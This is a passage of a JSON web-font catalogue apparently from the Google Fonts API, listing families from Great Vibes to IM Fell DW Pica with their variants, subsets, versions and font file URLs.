Vibes","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/greatvibes/v8/RWmMoKWR9v4ksMfaWd_JN-XCg6UKDXlq.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Grenze","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/grenze/v2/O4ZRFGb7hR12BxqPm2IjuAkalnmd.ttf","100italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZXFGb7hR12BxqH_VpHsg04k2md0kI.ttf","200":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPN0MDkicWn2CEyw.ttf","200italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_Vrrky0SvWWUy1uW.ttf","300":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPU0ADkicWn2CEyw.ttf","300italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_VqPkC0SvWWUy1uW.ttf","regular":"http://fonts.gstatic.com/s/grenze/v2/O4ZTFGb7hR12Bxq3_2gnmgwKlg.ttf","italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZRFGb7hR12BxqH_WIjuAkalnmd.ttf","500":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPC0EDkicWn2CEyw.ttf","500italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_VrXkS0SvWWUy1uW.ttf","600":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPJ0YDkicWn2CEyw.ttf","600italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_Vr7li0SvWWUy1uW.ttf","700":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPQ0cDkicWn2CEyw.ttf","700italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_Vqfly0SvWWUy1uW.ttf","800":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPX0QDkicWn2CEyw.ttf","800italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_VqDlC0SvWWUy1uW.ttf","900":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPe0UDkicWn2CEyw.ttf","900italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_VqnlS0SvWWUy1uW.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Grenze Gotisch","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-07-08","files":{"100":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5Lz5UcICdYPSd_w.ttf","200":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5rz9UcICdYPSd_w.ttf","300":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5cT9UcICdYPSd_w.ttf","regular":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5Lz9UcICdYPSd_w.ttf","500":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5HT9UcICdYPSd_w.ttf","600":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i58ThUcICdYPSd_w.ttf","700":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5yDhUcICdYPSd_w.ttf","800":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5rzhUcICdYPSd_w.ttf","900":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5hjhUcICdYPSd_w.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Griffy","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/griffy/v9/FwZa7-ox2FQh9kfwSNSEwM2zpA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gruppo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gruppo/v11/WwkfxPmzE06v_ZWFWXDAOIEQUQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gudea","variants":["regular","italic","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gudea/v10/neIFzCqgsI0mp-CP9IGON7Ez.ttf","italic":"http://fonts.gstatic.com/s/gudea/v10/neILzCqgsI0mp9CN_oWsMqEzSJQ.ttf","700":"http://fonts.gstatic.com/s/gudea/v10/neIIzCqgsI0mp9gz26WGHK06UY30.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gugi","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/gugi/v8/A2BVn5dXywshVA6A9DEfgqM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gupter","variants":["regular","500","700"],"subsets":["latin"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gupter/v2/2-cm9JNmxJqPO1QUYZa_Wu_lpA.ttf","500":"http://fonts.gstatic.com/s/gupter/v2/2-cl9JNmxJqPO1Qslb-bUsT5rZhaZg.ttf","700":"http://fonts.gstatic.com/s/gupter/v2/2-cl9JNmxJqPO1Qs3bmbUsT5rZhaZg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gurajada","variants":["regular"],"subsets":["latin","telugu"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/gurajada/v9/FwZY7-Qx308m-l-0Kd6A4sijpFu_.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Habibi","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/habibi/v9/CSR-4zFWkuqcTTNCShJeZOYySQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Halant","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/halant/v8/u-490qaujRI2Pbsvc_pCmwZqcwdRXg.ttf","regular":"http://fonts.gstatic.com/s/halant/v8/u-4-0qaujRI2PbsX39Jmky12eg.ttf","500":"http://fonts.gstatic.com/s/halant/v8/u-490qaujRI2PbsvK_tCmwZqcwdRXg.ttf","600":"http://fonts.gstatic.com/s/halant/v8/u-490qaujRI2PbsvB_xCmwZqcwdRXg.ttf","700":"http://fonts.gstatic.com/s/halant/v8/u-490qaujRI2PbsvY_1CmwZqcwdRXg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Hammersmith One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/hammersmithone/v12/qWcyB624q4L_C4jGQ9IK0O_dFlnbshsks4MRXw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hanalei","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/hanalei/v11/E21n_dD8iufIjBRHXzgmVydREus.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Hanalei Fill","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/hanaleifill/v9/fC1mPYtObGbfyQznIaQzPQiMVwLBplm9aw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Handlee","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/handlee/v9/-F6xfjBsISg9aMakDmr6oilJ3ik.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Hanuman","variants":["regular","700"],"subsets":["khmer"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/hanuman/v14/VuJxdNvD15HhpJJBeKbXOIFneRo.ttf","700":"http://fonts.gstatic.com/s/hanuman/v14/VuJ0dNvD15HhpJJBQBr4HIlMZRNcp0o.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Happy Monkey","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/happymonkey/v9/K2F2fZZcl-9SXwl5F_C4R_OABwD2bWqVjw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Harmattan","variants":["regular","700"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-12-02","files":{"regular":"http://fonts.gstatic.com/s/harmattan/v9/goksH6L2DkFvVvRp9XpTS0CjkP1Yog.ttf","700":"http://fonts.gstatic.com/s/harmattan/v9/gokpH6L2DkFvVvRp9Xpr92-HmNZEq6TTFw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Headland One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/headlandone/v8/yYLu0hHR2vKnp89Tk1TCq3Tx0PlTeZ3mJA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Heebo","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["hebrew","latin"],"version":"v9","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EiS2cckOnz02SXQ.ttf","200":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1ECSycckOnz02SXQ.ttf","300":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1E1yycckOnz02SXQ.ttf","regular":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EiSycckOnz02SXQ.ttf","500":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EuyycckOnz02SXQ.ttf","600":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EVyucckOnz02SXQ.ttf","700":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EbiucckOnz02SXQ.ttf","800":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1ECSucckOnz02SXQ.ttf","900":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EICucckOnz02SXQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Henny Penny","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/hennypenny/v8/wXKvE3UZookzsxz_kjGSfMQqt3M7tMDT.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Hepta Slab","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5jfbY5B0NBkz.ttf","200":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV5zfbY5B0NBkz.ttf","300":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvlL5zfbY5B0NBkz.ttf","regular":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5zfbY5B0NBkz.ttf","500":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvkn5zfbY5B0NBkz.ttf","600":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvnL4DfbY5B0NBkz.ttf","700":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvny4DfbY5B0NBkz.ttf","800":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV4DfbY5B0NBkz.ttf","900":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvm84DfbY5B0NBkz.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Herr Von Muellerhoff","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/herrvonmuellerhoff/v10/WBL6rFjRZkREW8WqmCWYLgCkQKXb4CAft3c6_qJY3QPQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Hi Melody","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/himelody/v8/46ktlbP8Vnz0pJcqCTbEf29E31BBGA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Hind","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v11","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/hind/v11/5aU19_a8oxmIfMJaIRuYjDpf5Vw.ttf","regular":"http://fonts.gstatic.com/s/hind/v11/5aU69_a8oxmIRG5yBROzkDM.ttf","500":"http://fonts.gstatic.com/s/hind/v11/5aU19_a8oxmIfJpbIRuYjDpf5Vw.ttf","600":"http://fonts.gstatic.com/s/hind/v11/5aU19_a8oxmIfLZcIRuYjDpf5Vw.ttf","700":"http://fonts.gstatic.com/s/hind/v11/5aU19_a8oxmIfNJdIRuYjDpf5Vw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hind Guntur","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","telugu"],"version":"v7","lastModified":"2020-11-06","files":{"300":"http://fonts.gstatic.com/s/hindguntur/v7/wXKyE3UZrok56nvamSuJd_yGn1czn9zaj5Ju.ttf","regular":"http://fonts.gstatic.com/s/hindguntur/v7/wXKvE3UZrok56nvamSuJd8Qqt3M7tMDT.ttf","500":"http://fonts.gstatic.com/s/hindguntur/v7/wXKyE3UZrok56nvamSuJd_zenlczn9zaj5Ju.ttf","600":"http://fonts.gstatic.com/s/hindguntur/v7/wXKyE3UZrok56nvamSuJd_zymVczn9zaj5Ju.ttf","700":"http://fonts.gstatic.com/s/hindguntur/v7/wXKyE3UZrok56nvamSuJd_yWmFczn9zaj5Ju.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hind Madurai","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","tamil"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xu0e2p98ZvDXdZQIOcpqjfXaUnecsoMJ0b_g.ttf","regular":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xx0e2p98ZvDXdZQIOcpqjn8Y0DceA0OQ.ttf","500":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xu0e2p98ZvDXdZQIOcpqjfBaQnecsoMJ0b_g.ttf","600":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xu0e2p98ZvDXdZQIOcpqjfKaMnecsoMJ0b_g.ttf","700":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xu0e2p98ZvDXdZQIOcpqjfTaInecsoMJ0b_g.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hind Siliguri","variants":["300","regular","500","600","700"],"subsets":["bengali","latin","latin-ext"],"version":"v7","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwOs5juQtsyLLR5jN4cxBEoRDf44uEfKiGvxts.ttf","regular":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwTs5juQtsyLLR5jN4cxBEofJvQxuk0Nig.ttf","500":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwOs5juQtsyLLR5jN4cxBEoRG_54uEfKiGvxts.ttf","600":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwOs5juQtsyLLR5jN4cxBEoREP-4uEfKiGvxts.ttf","700":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwOs5juQtsyLLR5jN4cxBEoRCf_4uEfKiGvxts.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hind Vadodara","variants":["300","regular","500","600","700"],"subsets":["gujarati","latin","latin-ext"],"version":"v7","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/hindvadodara/v7/neIQzCKvrIcn5pbuuuriV9tTSDn3iXM0oSOL2Yw.ttf","regular":"http://fonts.gstatic.com/s/hindvadodara/v7/neINzCKvrIcn5pbuuuriV9tTcJXfrXsfvSo.ttf","500":"http://fonts.gstatic.com/s/hindvadodara/v7/neIQzCKvrIcn5pbuuuriV9tTSGH2iXM0oSOL2Yw.ttf","600":"http://fonts.gstatic.com/s/hindvadodara/v7/neIQzCKvrIcn5pbuuuriV9tTSE3xiXM0oSOL2Yw.ttf","700":"http://fonts.gstatic.com/s/hindvadodara/v7/neIQzCKvrIcn5pbuuuriV9tTSCnwiXM0oSOL2Yw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Holtwood One SC","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/holtwoodonesc/v11/yYLx0hLR0P-3vMFSk1TCq3Txg5B3cbb6LZttyg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Homemade Apple","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/homemadeapple/v11/Qw3EZQFXECDrI2q789EKQZJob3x9Vnksi4M7.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Homenaje","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/homenaje/v10/FwZY7-Q-xVAi_l-6Ld6A4sijpFu_.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"IBM Plex Mono","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6pfjptAgt5VM-kVkqdyU8n3kwq0n1hj-sNFQ.ttf","100italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6rfjptAgt5VM-kVkqdyU8n1ioStndlre4dFcFh.ttf","200":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3uAL8ldPg-IUDNg.ttf","200italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSGlZFh8ARHNh4zg.ttf","300":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3oQI8ldPg-IUDNg.ttf","300italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSflVFh8ARHNh4zg.ttf","regular":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F63fjptAgt5VM-kVkqdyU8n5igg1l9kn-s.ttf","italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6pfjptAgt5VM-kVkqdyU8n1ioq0n1hj-sNFQ.ttf","500":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3twJ8ldPg-IUDNg.ttf","500italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSJlRFh8ARHNh4zg.ttf","600":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3vAO8ldPg-IUDNg.ttf","600italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSClNFh8ARHNh4zg.ttf","700":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3pQP8ldPg-IUDNg.ttf","700italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSblJFh8ARHNh4zg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"IBM Plex Sans","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-09-10","files":{"100":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX-KVElMYYaJe8bpLHnCwDKjbLeEKxIedbzDw.ttf","100italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX8KVElMYYaJe8bpLHnCwDKhdTmdKZMW9PjD3N8.ttf","200":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjR7_MIZmdd_qFmo.ttf","200italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTm2Idscf3vBmpl8A.ttf","300":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjXr8MIZmdd_qFmo.ttf","300italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTmvIRscf3vBmpl8A.ttf","regular":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYXgKVElMYYaJe8bpLHnCwDKtdbUFI5NadY.ttf","italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX-KVElMYYaJe8bpLHnCwDKhdTeEKxIedbzDw.ttf","500":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjSL9MIZmdd_qFmo.ttf","500italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTm5IVscf3vBmpl8A.ttf","600":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjQ76MIZmdd_qFmo.ttf","600italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTmyIJscf3vBmpl8A.ttf","700":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX9KVElMYYaJe8bpLHnCwDKjWr7MIZmdd_qFmo.ttf","700italic":"http://fonts.gstatic.com/s/ibmplexsans/v8/zYX7KVElMYYaJe8bpLHnCwDKhdTmrINscf3vBmpl8A.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"IBM Plex Sans Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY7KyKvBgYsMDhM.ttf","100italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8hN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8M_LhakJHhOgBg.ttf","200":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5m6Yvrr4cFFwq5.ttf","200italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8GPqpYMnEhq5H1w.ttf","300":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4C6ovrr4cFFwq5.ttf","300italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8AfppYMnEhq5H1w.ttf","regular":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8lN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHbauwq_jhJsM.ttf","italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8nN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYasyKvBgYsMDhM.ttf","500":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY5a64vrr4cFFwq5.ttf","500italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8F_opYMnEhq5H1w.ttf","600":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY527Ivrr4cFFwq5.ttf","600italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8HPvpYMnEhq5H1w.ttf","700":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8gN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHY4S7Yvrr4cFFwq5.ttf","700italic":"http://fonts.gstatic.com/s/ibmplexsanscondensed/v7/Gg8iN4UfRSqiPg7Jn2ZI12V4DCEwkj1E4LVeHYas8BfupYMnEhq5H1w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"IBM Plex Serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v9","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizBREVNn1dOx-zrZ2X3pZvkTi182zIZj1bIkNo.ttf","100italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizHREVNn1dOx-zrZ2X3pZvkTiUa41YTi3TNgNq55w.ttf","200":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi3Q-hIzoVrBicOg.ttf","200italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa4_oyq17jjNOg_oc.ttf","300":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi20-RIzoVrBicOg.ttf","300italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa454xq17jjNOg_oc.ttf","regular":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizDREVNn1dOx-zrZ2X3pZvkThUY0TY7ikbI.ttf","italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizBREVNn1dOx-zrZ2X3pZvkTiUa2zIZj1bIkNo.ttf","500":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi3s-BIzoVrBicOg.ttf","500italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa48Ywq17jjNOg_oc.ttf","600":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi3A_xIzoVrBicOg.ttf","600italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa4-o3q17jjNOg_oc.ttf","700":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizAREVNn1dOx-zrZ2X3pZvkTi2k_hIzoVrBicOg.ttf","700italic":"http://fonts.gstatic.com/s/ibmplexserif/v9/jizGREVNn1dOx-zrZ2X3pZvkTiUa4442q17jjNOg_oc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell DW Pica","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfelldwpica/v10/2sDGZGRQotv9nbn2qSl0TxXVYNw9ZAPUvi88MQ.ttf","italic":"http://fonts.gstatic.com/s/imfelldwpica/v10/2sDEZGRQotv9nbn2qSl0TxXVYNwNZgnQnCosMXm0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell DW Pica 